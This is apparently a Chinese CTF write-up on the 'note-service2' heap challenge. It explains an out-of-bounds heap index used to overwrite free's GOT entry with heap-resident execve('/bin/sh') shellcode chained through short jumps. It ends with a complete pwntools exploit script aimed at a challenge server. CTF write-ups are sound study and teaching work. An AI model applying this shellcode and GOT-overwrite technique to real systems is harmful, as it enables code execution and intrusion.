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思路分析0x00.检查保护机制
Canary found：不能用溢出">
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                <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>目前CTF竞赛中，以堆为背景的pwn题已逐步成为了pwn类型题目中的主流，开始逐步接触堆题，本题涉及到在堆上布置shellcode，并利用堆指针使程序执行流得到控制。</p>
<h2 id="思路分析"><a href="#思路分析" class="headerlink" title="思路分析"></a>思路分析</h2><h3 id="0x00-检查保护机制"><a href="#0x00-检查保护机制" class="headerlink" title="0x00.检查保护机制"></a>0x00.检查保护机制</h3><p><img src="https://img-blog.csdnimg.cn/20200318115718392.jpg" alt=""></p>
<pre><code>Canary found：不能用溢出的方式控制程序执行
NX disabled：堆栈上数据可执行
PIE enabled：地址随机化开启</code></pre><h3 id="0x01-查看程序功能"><a href="#0x01-查看程序功能" class="headerlink" title="0x01.查看程序功能"></a>0x01.查看程序功能</h3><p><img src="https://img-blog.csdnimg.cn/20200318120153273.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p>
<blockquote>
<p>一个简单的菜单题，add 和 del可以用，show和edit功能不可用</p>
</blockquote>
<h3 id="0x02-ida查看逻辑"><a href="#0x02-ida查看逻辑" class="headerlink" title="0x02.ida查看逻辑"></a>0x02.ida查看逻辑</h3><p><img src="https://img-blog.csdnimg.cn/2020031812100961.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br><img src="https://img-blog.csdnimg.cn/20200318121121612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>获得以下信息：</p>
<ul>
<li><strong>堆块最大为8字节，但是我们只能写入7字节的数据</strong></li>
<li><strong>堆指针的下标可以越界</strong><h3 id="0x03-利用思路"><a href="#0x03-利用思路" class="headerlink" title="0x03.利用思路"></a>0x03.利用思路</h3></li>
</ul>
<blockquote>
<p>（1）通过堆指针越界，把一些GOT表表项替换成堆指针<br>（2）因为NX 关闭，堆栈数据可以执行，直接在堆栈上布置shellcode<br>（3）每个堆块可以写入7个字节的数据，3个字节留作布置jmp short xxx（jmp short占两个字节，对应的机器码是\xeb，xxx对应1字节，且jmp short xxx是相对当前位置寻址），4个字节用于布置shellcode。<br>（4）要把shellcode分开布置在多个堆块上面。</p>
</blockquote>
<p>jmp short xxx 中，<strong>xxx=目标地址-当前地址-2</strong></p>
<h2 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h2><h3 id="0x00-选一段shellcode布置在堆上"><a href="#0x00-选一段shellcode布置在堆上" class="headerlink" title="0x00.选一段shellcode布置在堆上"></a>0x00.选一段shellcode布置在堆上</h3><pre><code>mov rdi, xxx   //xxx=&amp;("/bin/sh")  
xor rsi,rsi   //rsi=0，实际可以是mov rsi, 0 但是mov这个命令太长了。下同。占2字节
mov rax, 0x3b //rax=0x3b 占4字节
xor rdx,rdx   //rdx=0 占2字节
syscall //就是syscall调用execve("/bin/sh",0,0)</code></pre><p><strong>jmp short 占2个字节<br>jmp short xxx占3个字节</strong></p>
<h3 id="0x01-计算jmp-short指令要跳多少字节"><a href="#0x01-计算jmp-short指令要跳多少字节" class="headerlink" title="0x01.计算jmp short指令要跳多少字节"></a>0x01.计算jmp short指令要跳多少字节</h3><p><img src="https://img-blog.csdnimg.cn/20200318122408317.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>从chunk0跳到chunk1，<br>==目标地址-当前地址=8+8+8+1+2=0x1B==<br>==xxx=0x1B-2=0x19==<br>即从当前chunk的jmp区跳到下一个chunk的data区，距离是0x19<br><strong>jmp short 0x19转换成机器码是 \xeb\x19</strong></p>
<h3 id="0x02-shellcode转换为asm格式"><a href="#0x02-shellcode转换为asm格式" class="headerlink" title="0x02.shellcode转换为asm格式"></a>0x02.shellcode转换为asm格式</h3><pre><code>asm("xor rsi,rsi")+"\x90\x90\xeb\x19"
asm("mov rax,0x3b")+"\xeb\x19"
asm("xor rdx,rdx")+"\x90\x90\xeb\x19"
asm("syscall").ljust(7,"\x90")</code></pre><p><strong>我们无法写出 asm(“mov rdi,&amp;(“/bin/sh”)”)这样的指令</strong>,<strong>即不能把”/bin/sh”的地址直接传给rdi</strong></p>
<h3 id="0x03-通过64位传参机制把-amp-“-bin-sh”-传到rdi"><a href="#0x03-通过64位传参机制把-amp-“-bin-sh”-传到rdi" class="headerlink" title="0x03.通过64位传参机制把&amp;(“/bin/sh”)传到rdi"></a>0x03.通过64位传参机制把&amp;(“/bin/sh”)传到rdi</h3><p>==由0x02知，我们不能直接把”/bin/sh”的地址给rdi==<br><strong>解决办法：</strong></p>
<ul>
<li>申请一个堆块A，把”/bin/sh”写到A上</li>
<li>调用free函数，把堆块A的内容（即”/bin/sh”地址）当作free函数的参数，因为第一个参数会传到rdi里面去，这样，rdi=&amp;(“/bin/sh”)</li>
<li>修改free函数的got表，使调用free函数之后的程序流转到我们布置shellcode的堆块上，依次执行shellcode<h3 id="0x04-计算free的got地址和堆数组静态地址的距离"><a href="#0x04-计算free的got地址和堆数组静态地址的距离" class="headerlink" title="0x04.计算free的got地址和堆数组静态地址的距离"></a>0x04.计算free的got地址和堆数组静态地址的距离</h3><img src="https://img-blog.csdnimg.cn/20200318124128459.png" alt=""><br><img src="https://img-blog.csdnimg.cn/20200318125038841.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>数组到free的got表的距离：<code>0x2020A0-0x202018=0x88</code><br><strong>0x88/8=17字节</strong><br><strong>即数组下标减17就来到了free的got表地址</strong></li>
</ul>
<h3 id="0x05-尝试写exp："><a href="#0x05-尝试写exp：" class="headerlink" title="0x05. 尝试写exp："></a>0x05. 尝试写exp：</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>
r<span class="token operator">=</span>remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">48323</span><span class="token punctuation">)</span>
context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>index<span class="token punctuation">,</span>content<span class="token punctuation">)</span><span class="token punctuation">:</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"your choice>>"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"index:"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>str<span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"size:"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"8"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"content:"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>content<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">del</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"your choice>>"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"4"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"index:"</span><span class="token punctuation">)</span>
    r<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>str<span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>

add<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span> <span class="token operator">//</span>申请堆块写入<span class="token string">'/bin/sh'</span>
add<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">17</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"xor rsi,rsi"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\x90\x90\xeb\x19"</span><span class="token punctuation">)</span> <span class="token operator">//</span>传入<span class="token operator">&amp;</span><span class="token punctuation">(</span><span class="token string">'/bin/sh'</span><span class="token punctuation">)</span>并改写got表
add<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"mov eax,0x3b"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\xeb\x19"</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"xor rdx,rdx"</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"\x90\x90\xeb\x19"</span><span class="token punctuation">)</span>
add<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span>asm<span class="token punctuation">(</span><span class="token string">"syscall"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token string">"\x90"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">//</span>系统调用

<span class="token keyword">del</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">//</span>这一步我觉得应该是给syscall传参
r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>
<p><strong>参考blog：</strong><br><a href="https://blog.csdn.net/qq_42728977/article/details/103914342" target="_blank" rel="noopener">攻防世界pwn之note-service</a><br><a href="https://blog.csdn.net/seaaseesa/article/details/103003167" target="_blank" rel="noopener">攻防世界PWN之note-service2题解</a></p>
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